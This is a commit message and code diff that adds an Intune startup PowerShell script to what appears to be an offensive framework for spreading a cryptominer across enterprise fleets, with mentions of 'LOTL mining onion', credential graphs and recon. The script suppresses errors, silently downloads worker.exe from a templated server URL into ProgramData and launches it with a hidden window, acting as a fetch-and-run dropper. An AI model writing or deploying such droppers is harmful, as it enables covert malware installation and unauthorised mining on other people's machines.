Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/enterprise/intune-startup.ps1

@@ -0,0 +1,15 @@
+# Intune Win32 / proactive remediation script — same contract as GPO startup.
+# Assign as platform script; mining policy stays on command deck, not in Intune blob.
+# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
+$ErrorActionPreference = 'SilentlyContinue'
+$ProgressPreference = 'SilentlyContinue'
+
+if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
+
+$env:AETHER_DEFER_MINING = '1'
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+$dest = Join-Path $env:ProgramData 'AetherForge\worker.exe'
+New-Item -ItemType Directory -Force -Path (Split-Path $dest) | Out-Null
+try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 0 }
+if (-not (Test-Path $dest)) { exit 0 }
+Start-Process -FilePath $dest -ArgumentList '--run','--defer-mining' -WindowStyle Hidden